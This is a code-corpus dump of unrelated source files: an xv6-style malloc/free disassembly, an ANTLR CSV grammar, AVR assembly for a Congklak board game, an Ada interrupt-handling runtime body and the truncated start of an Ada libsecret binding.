<printf+0x11d> putc(fd, *ap); 763: 8b 7d e4 mov -0x1c(%ebp),%edi 766: 0f be 17 movsbl (%edi),%edx 769: 8b 45 08 mov 0x8(%ebp),%eax 76c: e8 1e fe ff ff call 58f <putc> ap++; 771: 83 c7 04 add $0x4,%edi 774: 89 7d e4 mov %edi,-0x1c(%ebp) state = 0; 777: be 00 00 00 00 mov $0x0,%esi 77c: e9 df fe ff ff jmp 660 <printf+0x30> putc(fd, c); 781: 89 fa mov %edi,%edx 783: 8b 45 08 mov 0x8(%ebp),%eax 786: e8 04 fe ff ff call 58f <putc> state = 0; 78b: be 00 00 00 00 mov $0x0,%esi 790: e9 cb fe ff ff jmp 660 <printf+0x30> } } } 795: 8d 65 f4 lea -0xc(%ebp),%esp 798: 5b pop %ebx 799: 5e pop %esi 79a: 5f pop %edi 79b: 5d pop %ebp 79c: c3 ret 0000079d <free>: static Header base; static Header *freep; void free(void *ap) { 79d: f3 0f 1e fb endbr32 7a1: 55 push %ebp 7a2: 89 e5 mov %esp,%ebp 7a4: 57 push %edi 7a5: 56 push %esi 7a6: 53 push %ebx 7a7: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; 7aa: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 7ad: a1 04 0d 00 00 mov 0xd04,%eax 7b2: eb 02 jmp 7b6 <free+0x19> 7b4: 89 d0 mov %edx,%eax 7b6: 39 c8 cmp %ecx,%eax 7b8: 73 04 jae 7be <free+0x21> 7ba: 39 08 cmp %ecx,(%eax) 7bc: 77 12 ja 7d0 <free+0x33> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 7be: 8b 10 mov (%eax),%edx 7c0: 39 c2 cmp %eax,%edx 7c2: 77 f0 ja 7b4 <free+0x17> 7c4: 39 c8 cmp %ecx,%eax 7c6: 72 08 jb 7d0 <free+0x33> 7c8: 39 ca cmp %ecx,%edx 7ca: 77 04 ja 7d0 <free+0x33> 7cc: 89 d0 mov %edx,%eax 7ce: eb e6 jmp 7b6 <free+0x19> break; if(bp + bp->s.size == p->s.ptr){ 7d0: 8b 73 fc mov -0x4(%ebx),%esi 7d3: 8d 3c f1 lea (%ecx,%esi,8),%edi 7d6: 8b 10 mov (%eax),%edx 7d8: 39 d7 cmp %edx,%edi 7da: 74 19 je 7f5 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 7dc: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 7df: 8b 50 04 mov 0x4(%eax),%edx 7e2: 8d 34 d0 lea (%eax,%edx,8),%esi 7e5: 39 ce cmp %ecx,%esi 7e7: 74 1b je 804 <free+0x67> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 7e9: 89 08 mov %ecx,(%eax) freep = p; 7eb: a3 04 0d 00 00 mov %eax,0xd04 } 7f0: 5b pop %ebx 7f1: 5e pop %esi 7f2: 5f pop %edi 7f3: 5d pop %ebp 7f4: c3 ret bp->s.size += p->s.ptr->s.size; 7f5: 03 72 04 add 0x4(%edx),%esi 7f8: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 7fb: 8b 10 mov (%eax),%edx 7fd: 8b 12 mov (%edx),%edx 7ff: 89 53 f8 mov %edx,-0x8(%ebx) 802: eb db jmp 7df <free+0x42> p->s.size += bp->s.size; 804: 03 53 fc add -0x4(%ebx),%edx 807: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 80a: 8b 53 f8 mov -0x8(%ebx),%edx 80d: 89 10 mov %edx,(%eax) 80f: eb da jmp 7eb <free+0x4e> 00000811 <morecore>: static Header* morecore(uint nu) { 811: 55 push %ebp 812: 89 e5 mov %esp,%ebp 814: 53 push %ebx 815: 83 ec 04 sub $0x4,%esp 818: 89 c3 mov %eax,%ebx char *p; Header *hp; if(nu < 4096) 81a: 3d ff 0f 00 00 cmp $0xfff,%eax 81f: 77 05 ja 826 <morecore+0x15> nu = 4096; 821: bb 00 10 00 00 mov $0x1000,%ebx p = sbrk(nu * sizeof(Header)); 826: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax 82d: 83 ec 0c sub $0xc,%esp 830: 50 push %eax 831: e8 41 fd ff ff call 577 <sbrk> if(p == (char*)-1) 836: 83 c4 10 add $0x10,%esp 839: 83 f8 ff cmp $0xffffffff,%eax 83c: 74 1c je 85a <morecore+0x49> return 0; hp = (Header*)p; hp->s.size = nu; 83e: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 841: 83 c0 08 add $0x8,%eax 844: 83 ec 0c sub $0xc,%esp 847: 50 push %eax 848: e8 50 ff ff ff call 79d <free> return freep; 84d: a1 04 0d 00 00 mov 0xd04,%eax 852: 83 c4 10 add $0x10,%esp } 855: 8b 5d fc mov -0x4(%ebp),%ebx 858: c9 leave 859: c3 ret return 0; 85a: b8 00 00 00 00 mov $0x0,%eax 85f: eb f4 jmp 855 <morecore+0x44> 00000861 <malloc>: void* malloc(uint nbytes) { 861: f3 0f 1e fb endbr32 865: 55 push %ebp 866: 89 e5 mov %esp,%ebp 868: 53 push %ebx 869: 83 ec 04 sub $0x4,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 86c: 8b 45 08 mov 0x8(%ebp),%eax 86f: 8d 58 07 lea 0x7(%eax),%ebx 872: c1 eb 03 shr $0x3,%ebx 875: 83 c3 01 add $0x1,%ebx if((prevp = freep) == 0){ 878: 8b 0d 04 0d 00 00 mov 0xd04,%ecx 87e: 85 c9 test %ecx,%ecx 880: 74 04 je 886 <malloc+0x25> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 882: 8b 01 mov (%ecx),%eax 884: eb 4b jmp 8d1 <malloc+0x70> base.s.ptr = freep = prevp = &base; 886: c7 05 04 0d 00 00 08 movl $0xd08,0xd04 88d: 0d 00 00 890: c7 05 08 0d 00 00 08 movl $0xd08,0xd08 897: 0d 00 00 base.s.size = 0; 89a: c7 05 0c 0d 00 00 00 movl $0x0,0xd0c 8a1: 00 00 00 base.s.ptr = freep = prevp = &base; 8a4: b9 08 0d 00 00 mov $0xd08,%ecx 8a9: eb d7 jmp 882 <malloc+0x21> if(p->s.size >= nunits){ if(p->s.size == nunits) 8ab: 74 1a je 8c7 <malloc+0x66> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 8ad: 29 da sub %ebx,%edx 8af: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 8b2: 8d 04 d0 lea (%eax,%edx,8),%eax p->s.size = nunits; 8b5: 89 58 04 mov %ebx,0x4(%eax) } freep = prevp; 8b8: 89 0d 04 0d 00 00 mov %ecx,0xd04 return (void*)(p + 1); 8be: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 8c1: 83 c4 04 add $0x4,%esp 8c4: 5b pop %ebx 8c5: 5d pop %ebp 8c6: c3 ret prevp->s.ptr = p->s.ptr; 8c7: 8b 10 mov (%eax),%edx 8c9: 89 11 mov %edx,(%ecx) 8cb: eb eb jmp 8b8 <malloc+0x57> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8cd: 89 c1 mov %eax,%ecx 8cf: 8b 00 mov (%eax),%eax if(p->s.size >= nunits){ 8d1: 8b 50 04 mov 0x4(%eax),%edx 8d4: 39 da cmp %ebx,%edx 8d6: 73 d3 jae 8ab <malloc+0x4a> if(p == freep) 8d8: 39 05 04 0d 00 00 cmp %eax,0xd04 8de: 75 ed jne 8cd <malloc+0x6c> if((p = morecore(nunits)) == 0) 8e0: 89 d8 mov %ebx,%eax 8e2: e8 2a ff ff ff call 811 <morecore> 8e7: 85 c0 test %eax,%eax 8e9: 75 e2 jne 8cd <malloc+0x6c> 8eb: eb d4 jmp 8c1 <malloc+0x60>
labs/csvloader/grammars/CSV.g4
parrt/cs652
110
2271
grammar CSV; file : (row '\n')* ; row : field (',' field)* ; field : INT | STRING ; INT : [0-9]+ ; STRING: ~[,\n]+ ;
CongklakCongkak/CongklakCongkak.asm
laymonage/CongklakCongkak
0
170552
<gh_stars>0 .include "m8515def.inc" ; Global variables .def player = r19 .def timer_counter = r20 .def hand = r21 .def iswinning = r24 ; We'll be using X as cursor position. .def temp0 = r16; Mostly used for printing. .def temp1 = r17; Mostly used for DDRAM address argument. .def temp2 = r18 .def selOrHasten = r22 ;boolean for roll button .def timer_dec = r23 .def led_temp = r25 .equ slot_data = 0x0060 .set count = 215 ; initial counter .set dec_step = 10 ; timer decrementer .set dec_max = 107 ; timer decrementer max .org $00 rjmp MAIN .org $01 rjmp button_select .org $02 rjmp button_roll .org $06 rjmp ISR_TOV1 WELCOME_MSG: .db " Congklak Congkak!", 0 INITIAL_SLOTS: .db 7, 7, 7, 7, 7, 7, 7, 0 ; Player 1 .db 7, 7, 7, 7, 7, 7, 7, 0 ; Player 2 P1_WIN_MSG: .db "PLAYER 1 WINS!", 0 ; Win message for Player 1 P2_WIN_MSG: .db "PLAYER 2 WINS!", 0 ; Win message for Player 2 ; MACRO ================================================================================= ; ======================================================================================= .MACRO WRITE_PORTB out PORTB, @0 ; out data from register @0 to PORTB sbi PORTA,0 ; SETB EN cbi PORTA,0 ; CLR EN .ENDMACRO ; MAIN PROGRAM ========================================================================== ; ======================================================================================= MAIN: ; Initialization ; Set stack pointer to the RAM end ldi temp0, low(RAMEND) out SPL, temp0 ldi temp0, high(RAMEND) out SPH, temp0 rcall INIT_INTERRUPT rcall INIT_LCD rcall INIT_TIMER rcall INIT_LED rcall INIT_MEMORY rcall INIT_HUD rcall button_roll WAIT_FOR_WINNING: ; wait until a winner can be determined cpi isWinning, 1 ; there's a winner breq WIN rjmp WAIT_FOR_WINNING WIN: ; Win state cli PRINT_WIN_MESSAGE: ldi XL, 15 rcall GetSlot mov temp1, temp0 ; save Player 2's home slot into temp1 ldi XL, 7 rcall GetSlot ; save Player 1's home slot into temp0 sub temp0, temp1 ; Player 1 - Player 2 brlt WIN_P2 ; if Player 1 < Player 2 then P2 is the winner WIN_P1: ldi ZL, low(2*P1_WIN_MSG) ; init Z pointer to P1's win message ldi ZH, high(2*P1_WIN_MSG) rjmp WIN_CELEBRATION WIN_P2: ldi ZL, low(2*P2_WIN_MSG) ; init Z pointer to P2's win message ldi ZH, high(2*P2_WIN_MSG) WIN_CELEBRATION: rcall ClearLcd ldi led_temp, 0xFF ; turn on all LEDs out PORTC, led_temp LOADBYTE: lpm r0, Z+ ; load byte from program memory into r0, increment Z pointer tst r0 ; check if we've reached the end of the message breq FINISH ; if so, quit rcall WRITE_LCD_LED ; else, write the character to LCD and change the LED state rjmp LOADBYTE ; loop WRITE_LCD_LED: sbi PORTA, 1 ; SETB RS WRITE_PORTB r0 ; write to PORTB for LCD in led_temp, PORTC ; read current LED config lsr led_temp ; shift turn off one LED from the highest order out PORTC, led_temp ; send to LED ret FINISH: rcall TurnPhaseDelay ; give delay so players can see the message clearly rcall TurnPhaseDelay rjmp PRINT_WIN_MESSAGE ; loop to give celebration effect ; INITIAL FUNCTIONS ===================================================================== ; ======================================================================================= INIT_LCD: cbi PORTA, 1 ; RS = 0 ldi temp0, 0x38 ; 8bit, 2line, 5x7 WRITE_PORTB temp0 ldi temp0, 0b1100 ; disp ON, cursor OFF, blink OFF WRITE_PORTB temp0 ldi temp0, $06 ; increase cursor, display sroll OFF WRITE_PORTB temp0 ser temp0 out DDRA, temp0 ; Set port A as output out DDRB, temp0 ; Set port B as output rcall ClearLcd sbi PORTA, 1 ldi ZL, low(2*WELCOME_MSG) ; init Z pointer to P2's win message ldi ZH, high(2*WELCOME_MSG) LOADCHAR: lpm r0, Z+ tst r0 breq FIN_INIT_LCD WRITE_PORTB r0 rjmp LOADCHAR FIN_INIT_LCD: cbi PORTA, 1 rcall TurnPhaseDelay rcall TurnPhaseDelay rcall TurnPhaseDelay rcall ClearLcd ret INIT_TIMER: ldi temp1, (1<<CS01) ; use clk / 8 prescaling out TCCR1A, temp1 ; out to TCCR1A out TCCR1B, temp1 ; out to TCCR1B ldi temp1,(1<<TOV1) ; using Timer 1 overflow out TIFR, temp1 ldi temp1,(1<<TOIE1) ; enable Timer 1 out TIMSK, temp1 ldi timer_counter, count ; load initial counter ret INIT_MEMORY: ; Initialize game data ; Fill all the slots ldi ZL, low(INITIAL_SLOTS*2) ldi ZH, high(INITIAL_SLOTS*2) ldi XL, low(slot_data) ldi XH, high(slot_data) ldi temp0, 16 lpm r0, Z+ INIT_MEMORY_loop: st X+, r0 lpm r0, Z+ dec temp0 brne INIT_MEMORY_loop ; Set the registers ldi hand, 0 ldi player, 0 ret INIT_HUD: clr XH clr XL ; Fill the LCD with initial slot values INIT_HUD_loop: rcall GetSlot rcall GetDdramLocation rcall PrintSlot adiw XL, 1 cpi XL, 16 brne INIT_HUD_loop ; Add cursor to origin clr XH clr XL ldi temp0, 1 rcall GetDdramLocation rcall SetGameCursor ; Set LEDs ldi temp0, 0b1 out PORTC, temp0 ret INIT_LED: ser temp1 out DDRC, temp1 ret INIT_INTERRUPT: ldi selOrHasten, 0 ldi temp0,0b00001010 out MCUCR,temp0 ldi temp0,0b11000000 out GICR,temp0 sei ret ; INTERRUPTS ============================================================================ ; ======================================================================================= ISR_TOV1: cpi isWinning, 1 ; if there's a winner (the game ends), don't do anything brne cont_isr_tov1 reti cont_isr_tov1: dec timer_counter ; decrement timer counter breq SHIFT_LED ; shift LED if counter reaches zero reti SHIFT_LED: in led_temp, PORTC ; load current LED config andi led_temp, 0b11111100 ; clear Player LED indicator configs breq TIMEOUT ; if timer indicator in LED is zero, player has run out of time lsr led_temp ; else, shift right (turn off one LED from the highest order) andi led_temp, 0b11111100 ; clear Player LED indicator configs that was carried after shifting or led_temp, player ; get current player (Player 1 = 0, Player 2 = 1) inc led_temp ; increment so player 1 -> 1, player 2 -> 2 out PORTC, led_temp ; output to LED ldi timer_counter, count ; reload counter sub timer_counter, timer_dec reti ; return from interrupt TIMEOUT: ; Penalty Manager ; save all current state push temp0 push temp1 push temp2 push XL push XH ldi XL, 15 rcall GetSlot mov temp1, temp0 ; temp1 is player 2's home slot contents ldi XL, 7 rcall GetSlot ; temp0 is player 1's home slot contents tst player ; if player = 0 then it's Player 1 brne Penalty_P2 ; else it's Player 2 Penalty_P1: mov temp2, temp0 ; copy Player 1's home to temp2 lsr temp2 ; divide by 4, save to temp2 lsr temp2 sub temp0, temp2 ; subtract temp2 from Player 1's home push temp1 ; save current temp1 because GetDdramLocation will overwrite it rcall SetSlot ; save Player 1's home to RAM rcall GetDdramLocation rcall PrintSlot ; update slot pop temp1 ; retrieve temp1 add temp1, temp2 ; add temp2 to Player 2's home ldi XL, 15 mov temp0, temp1 rcall SetSlot ; save Player 2's home to RAM rcall GetDdramLocation rcall PrintSlot ; update slot rjmp reset_led Penalty_P2: mov temp2, temp1 ; copy Player 2's home to temp2 lsr temp2 ; divide by 4, save to temp2 lsr temp2 sub temp1, temp2 ; subtract temp2 from Player 2's home ldi XL, 15 push temp0 ; save temp0 because we need to use the register to store to RAM mov temp0, temp1 ; move Player 2's home to temp0 rcall SetSlot ; store Player 2's home to RAM rcall GetDdramLocation rcall PrintSlot ; update slot pop temp0 ; retrieve temp0 add temp0, temp2 ; add temp2 to Player 1's home ldi XL, 7 rcall SetSlot ; store to RAM rcall GetDdramLocation rcall PrintSlot ; update slot reset_led: ldi led_temp, 0xFC ; reset timer LED or led_temp, player ; get current player (P1 = 0, P2 = 1) inc led_temp ; increment so P1 -> 1, P2 -> 2 out PORTC, led_temp ; write to LED ; back to previous state pop XH pop XL pop temp2 pop temp1 pop temp0 reti button_select: sei ldi selOrHasten,1 ldi temp2, 0b10000000 ; disable select button out GICR, temp2 rcall TurnPhase ldi temp2, 0b11000000 ; re-enable select button out GICR, temp2 ldi selOrHasten,0 add_timer_dec: cpi timer_dec, dec_max brge ret_int_btn_sel ldi temp2, dec_step add timer_dec, temp2 ; increment timer steps to make the timer go faster ret_int_btn_sel: reti button_roll: cpi selOrHasten,0 ;selOrHasten = 0 then the program is on selecting slot phase breq selectingPhase ; else then it's on turning phase (then roll button is for hastening turn) ldi selOrHasten, 2 ;a flag for not using delay (will be used in turnPhase) rjmp returnfromInt selectingPhase: rcall RollSelectPhase returnfromInt: reti ; RUNTIME FUNCTIONS ===================================================================== ; ======================================================================================= GetSlot: ; Obtain slot value in cursor_position from database, stored in temp0. push XL push XH adiw XL, slot_data>>1 adiw XL, slot_data>>1 ld temp0, X pop XH pop XL ret SetSlot: ; Set slot value in cursor_position from temp0 to database. push XL push XH push temp0 adiw XL, slot_data>>1 adiw XL, slot_data>>1 st X, temp0 pop temp0 pop XH pop XL ret ClearLcd: ; Clear the LCD. push temp0 cbi PORTA, 1 ldi temp0, 0b1 WRITE_PORTB temp0 pop temp0 ret MoveLcdCursor: ; Move LCD cursor to DDRAM address temp1 push temp1 cbi PORTA, 1 ori temp1, 0b10000000 WRITE_PORTB temp1 pop temp1 ret Write: ; Write char(temp0) on cursor. sbi PORTA, 1 WRITE_PORTB temp0 ret PrintSlot: ; Update view in DDRAM pointed by temp1 in LCD with value in temp0. push temp0 push temp1 push temp2 inc temp1 ; Move the cursor to the position specified in temp1 rcall MoveLcdCursor ; Print in ASCII decimal rcall BIN2DEC ; Tens first subi temp0, -'0' ; If the tens is zero, replace it with space cpi temp0, '0' brne PrintSlot_skip1 ldi temp0, ' ' PrintSlot_skip1: rcall Write ; Then the ones subi temp1, -'0' mov temp0, temp1 rcall Write pop temp2 pop temp1 pop temp0 ret SetGameCursor: ; Temp0 = 0: Remove game cursor in DDRAM address in temp1. ; Temp0 = 1: Place a game cursor from DDRAM address in temp1. push temp0 push temp1 push temp2 ; Jump to location rcall MoveLcdCursor ; Figure what to draw by temp0. ldi temp2, ' ' add temp0, temp2 cpse temp0, temp2 ldi temp0, '[' ; Draw it rcall WRITE ; Shift cursor 3 times to the right subi temp1, -3 rcall MoveLcdCursor ; Draw the cursor closing cpse temp0, temp2 ldi temp0, ']' rcall WRITE pop temp2 pop temp1 pop temp0 ret GetDdramLocation: ; Find the location of slot by X in DDRAM address, store result in temp1. push temp0 push r0 push r1 ; [THIS CODE IS OBTAINED BY EMPIRICAL EXPERIMENT. DON'T ASK ME WHY/HOW IT WORKED.] mov temp1, XL inc temp1 ldi temp0, 3 mul temp1, temp0 mov temp1, r0 cpi temp1, 0x8*3 + 1 brlt GetDdramLocation_skip1 neg temp1 ldi temp0, 0x58 + 8*3 add temp1, temp0 GetDdramLocation_skip1: ; [END OF EMPIRICAL CODE] pop r1 pop r0 pop temp0 ret Bin2Dec: ; Converts a binary number in temp0 to 2-digit BCD, stored in temp1 (ones) and temp0 (tens) mov temp1, temp0 ldi temp0, 0 BIN2DEC_loop1: cpi temp1, 10 brlt BIN2DEC_endloop1 inc temp0 subi temp1, 10 rjmp BIN2DEC_loop1 BIN2DEC_endloop1: ret UpdateHandLed: ; Update led to match the player and hand data. push hand push player andi hand, 0x2F lsl hand lsl hand inc player or hand, player out PORTC, hand pop player pop hand ret MOVE_CURSOR_RIGHT: ; Remove the cursor from the last location. ; (DDRAM location is still stored in temp1 up to this point.) clr temp0 rcall SetGameCursor ; Move on to the next location. dec XL ; If the player is in the enemy home, move on to the next field again. mov temp0, player swap temp0 lsr temp0 ; Shift left 3 times eor temp0, XL ; XOR with the cursor position cpi temp0, 0b1111 brne not_enemy_home dec XL not_enemy_home: andi XL, 0xF rcall GetDdramLocation ; Move cursor to the current position. ldi temp0, 1 rcall SetGameCursor ret RollSelectPhase: ; Remove the cursor from the last location. clr temp0 rcall SetGameCursor ; Move on to the next location. dec XL andi XL, 0b111 cpi XL, 0b111 brne RollSelectPhase_notHome dec XL RollSelectPhase_notHome: mov temp0, player swap temp0 lsr temp0 or XL, temp0 ; Move one more step if the slot contains 0 value zeroValue: rcall GetSlot tst temp0 brne notZeroValue rjmp RollSelectPhase notZeroValue: ; Move cursor to the current position. rcall GetDdramLocation ldi temp0, 1 rcall SetGameCursor ret MOVE_CURSOR_LEFT: ; Remove the cursor from the last location. ; (DDRAM location is still stored in temp1 up to this point.) clr temp0 rcall SetGameCursor ; Move on to the next location. inc XL ; If the player is in the enemy home, move on to the next field again. mov temp0, player swap temp0 lsr temp0 ; Shift left 3 times eor temp0, XL ; XOR with the cursor position cpi temp0, 0b1111 brne not_enemy_home2 inc XL not_enemy_home2: andi XL, 0xF rcall GetDdramLocation ; Move cursor to the current position. ldi temp0, 1 rcall SetGameCursor ret TurnPhaseDelay: cpi selOrHasten, 2 ;if it's 2, skip delay breq skipDelay push r18 push r19 push r20 ldi r18, 1 ldi r19, 100 ldi r20, 255 TurnPhaseDelay_L1: dec r20 brne TurnPhaseDelay_L1 dec r19 brne TurnPhaseDelay_L1 dec r18 brne TurnPhaseDelay_L1 pop r20 pop r19 pop r18 skipDelay: ret TurnPhase: ; The turn phase of the game. push temp0 ; push temp1 push temp2 ; While the slot on pointer is not zero... TurnPhase_notLandingOnZero: ; Load the slot in pointer to temp0 rcall GetSlot ; Move it to hand. Also update the LED information. mov hand, temp0 rcall UpdateHandLed ; Update the data of the emptied slot in the data memory and the LCD. clr temp0 rcall SetSlot ; In the data memory rcall GetDdramLocation rcall PrintSlot ; In the LCD ; Long delay so the user can contemplate their mistakes. rcall TurnPhaseDelay rcall TurnPhaseDelay ; While the hand is not zero... TurnPhase_filledHand: rcall MOVE_CURSOR_LEFT ; Get the current slot data to temp0. Increment it by one. rcall GetSlot mov temp2, temp0 ; This represents the amount of the last slot filled. We'll need this later. inc temp0 ; Decrement the value in hand by one. Update it in LED. dec hand rcall UpdateHandLed ; Update the data of the emptied slot in the data memory and the LCD. rcall SetSlot ; In the data memory ;rcall GetDdramLocation rcall PrintSlot ; In the LCD ; Delay. rcall TurnPhaseDelay ; If the hand is not zero yet, go back to the top. tst hand brne TurnPhase_filledHand ; Else... ; Check if player's in home. If so, end the phase without swapping player. mov temp0, XL andi temp0, 0b111 cpi temp0, 0b111 breq TurnPhase_noSwap ; Check if the last slot filled is zero. If so, go back to the top tst temp2 brne TurnPhase_notLandingOnZero ; Check if player is in own slot. mov temp0, XL andi temp0, 0b1000 lsl temp0 swap temp0 cp temp0, player brne TurnPhase_swap ; If it is, perform nembak. ; Remove the cursor. clr temp0 rcall SetGameCursor ; Pick the opposite slot. subi XL, 14 neg XL ; Get its data, move it into temp2. rcall GetSlot mov temp2, temp0 ; Empty the slot. Write it. clr temp0 rcall SetSlot rcall GetDdramLocation rcall PrintSlot ; Go to home. subi XL, 14 neg XL ori XL, 0b111 ; Update datas. rcall GetSlot add temp0, temp2 rcall SetSlot rcall GetDdramLocation rcall PrintSlot ; Delay rcall TurnPhaseDelay rcall TurnPhaseDelay TurnPhase_swap: ; Swap players ldi temp0, 1 eor player, temp0 TurnPhase_noSwap: ; Clear the cursor clr temp0 rcall SetGameCursor clr temp1 ; Will not be using this for DDRAM for a moment TurnPhase_findNonZero: ; Go to the slot 0 of the player mov XL, player swap XL lsr XL ; Find the first nonzero value of the player. TurnPhase_findNonZero_loop: rcall GetSlot tst temp0 brne TurnPhase_nonZeroFound inc XL ; Check if they're on their home slot mov temp2, XL andi temp2, 0b111 cpi temp2, 0b111 ; If not, back to loop. brne TurnPhase_findNonZero_loop ; Else, swap players. Increment zero. ldi temp0, 1 eor player, temp0 inc temp1 cpi temp1, 1 breq TurnPhase_findNonZero ; Up to this point, then nothing is found. We have a winning condition inc isWinning pop temp2 ; pop temp1 pop temp0 ret TurnPhase_nonZeroFound: rcall GetDdramLocation ldi temp0, 1 rcall SetGameCursor mov led_temp, player inc led_temp ori led_temp, 0b11111100 out PORTC, led_temp pop temp2 ; pop temp1 pop temp0 ret
runtime/ravenscar-sfp-stm32f427/gnarl-common/s-interr.adb
TUM-EI-RCS/StratoX
12
5294
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . I N T E R R U P T S -- -- -- -- B o d y -- -- -- -- Copyright (C) 2001-2013, AdaCore -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies, Inc. -- -- -- ------------------------------------------------------------------------------ -- This is a generic bare board version of this package pragma Restrictions (No_Elaboration_Code); with System.Tasking.Restricted.Stages; package body System.Interrupts is ---------------- -- Local Data -- ---------------- type Handler_Entry is record Handler : Parameterless_Handler; -- The protected subprogram PO_Priority : Interrupt_Priority; -- The priority of the protected object in which the handler is declared -- -- As the handler is a fat pointer to both the subprogram and the -- protected object, it could be possible to extract the priority -- from the access. But there is currently no mechanism for that ??? end record; pragma Suppress_Initialization (Handler_Entry); type Handlers_Table is array (Interrupt_ID) of Handler_Entry; pragma Suppress_Initialization (Handlers_Table); -- Type used to represent the procedures used as interrupt handlers. No -- need to create an initializer, as the only object declared with this -- type is just below and has an expression to initialize it. User_Handlers : Handlers_Table := (others => (null, Interrupt_Priority'First)); -- Table containing user handlers. Must be explicitly initialized to detect -- interrupts without attached handlers. ----------------------- -- Local Subprograms -- ----------------------- procedure Install_Handler (Interrupt : Interrupt_ID); -- Install the runtime umbrella handler for a hardware interrupt procedure Default_Handler (Interrupt : System.OS_Interface.Interrupt_ID); -- Default interrupt handler --------------------- -- Default_Handler -- --------------------- procedure Default_Handler (Interrupt : System.OS_Interface.Interrupt_ID) is Handler : constant Parameterless_Handler := User_Handlers (Interrupt_ID (Interrupt)).Handler; begin if Handler = null then -- Be sure to properly report spurious interrupts even if the run -- time is compiled with checks suppressed. -- The ravenscar-sfp profile has a No_Exception_Propagation -- restriction. Discard compiler warning on the raise statement. pragma Warnings (Off); raise Program_Error; pragma Warnings (On); end if; -- As exception propagated from a handler that is invoked by an -- interrupt must have no effect (ARM C.3 par. 7), interrupt handlers -- are wrapped by a null exception handler to avoid exceptions to be -- propagated further. -- The ravenscar-sfp profile has a No_Exception_Propagation -- restriction. Discard compiler warning on the handler. pragma Warnings (Off); begin Handler.all; exception -- Avoid any further exception propagation when others => null; end; pragma Warnings (On); end Default_Handler; -- Depending on whether exception propagation is supported or not, the -- implementation will differ; exceptions can never be propagated through -- this procedure (see ARM C.3 par. 7). --------------------- -- Install_Handler -- --------------------- procedure Install_Handler (Interrupt : Interrupt_ID) is begin -- Attach the default handler to the specified interrupt. This handler -- will in turn call the user handler. System.OS_Interface.Attach_Handler (Default_Handler'Access, System.OS_Interface.Interrupt_ID (Interrupt), User_Handlers (Interrupt).PO_Priority); end Install_Handler; --------------------------------- -- Install_Restricted_Handlers -- --------------------------------- procedure Install_Restricted_Handlers (Prio : Any_Priority; Handlers : Handler_Array) is use System.Tasking.Restricted.Stages; begin for J in Handlers'Range loop -- Copy the handler in the table that contains the user handlers User_Handlers (Handlers (J).Interrupt) := (Handlers (J).Handler, Prio); -- Install the handler now, unless attachment is deferred because of -- sequential partition elaboration policy. if Partition_Elaboration_Policy /= 'S' then Install_Handler (Handlers (J).Interrupt); end if; end loop; end Install_Restricted_Handlers; -------------------------------------------- -- Install_Restricted_Handlers_Sequential -- -------------------------------------------- procedure Install_Restricted_Handlers_Sequential is begin for J in User_Handlers'Range loop if User_Handlers (J).Handler /= null then Install_Handler (J); end if; end loop; end Install_Restricted_Handlers_Sequential; end System.Interrupts;
src/secret-attributes.adb
stcarrez/ada-libsecret
2
5877
<reponame>stcarrez/ada-libsecret<gh_stars>1-10 ----------------------------------------------------------------------- -- secret-attributes -- Attribute list representation -- Copyright (C) 2017 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- package body Secret.Attributes is type Hash_Function is access function return Integer with Convention => C; function Str_Hash return Integer with Import => True, Convention => C, Link_Name => "g_str_hash"; type Free_Func is access procedure with Convention => C; procedure Str_Free with Import => True, Convention => C, Link_Name => "g_free"; type Compare_Function is access function return Integer with Convention => C; function Str_Compare return Integer with Import => True, Convention => C, Link_Name => "g_str_equal"; function Hash_Table_New_Full (Hash : in Hash_Function; Comp : in Compare_Function; R1 : in Free_Func; R2 : in Free_Func) return Opaque_Type with Import => True, Convention => C, Link_Name => "g_hash_table_new_full"; function Hash_Table_Ref (Object : in Opaque_Type) return Opaque_Type with Import => True, Convention => C, Link_Name => "g_hash_table_ref"; procedure Hash_Table_Unref (Object : in Opaque_Type) with Import => True, Convention => C, Link_Name => "g_hash_table_unref"; procedure Hash_Table_Insert (Object : in Opaque_Type; Name : in Chars_Ptr; Value : in Chars_Ptr) with Import => True, Convention => C, 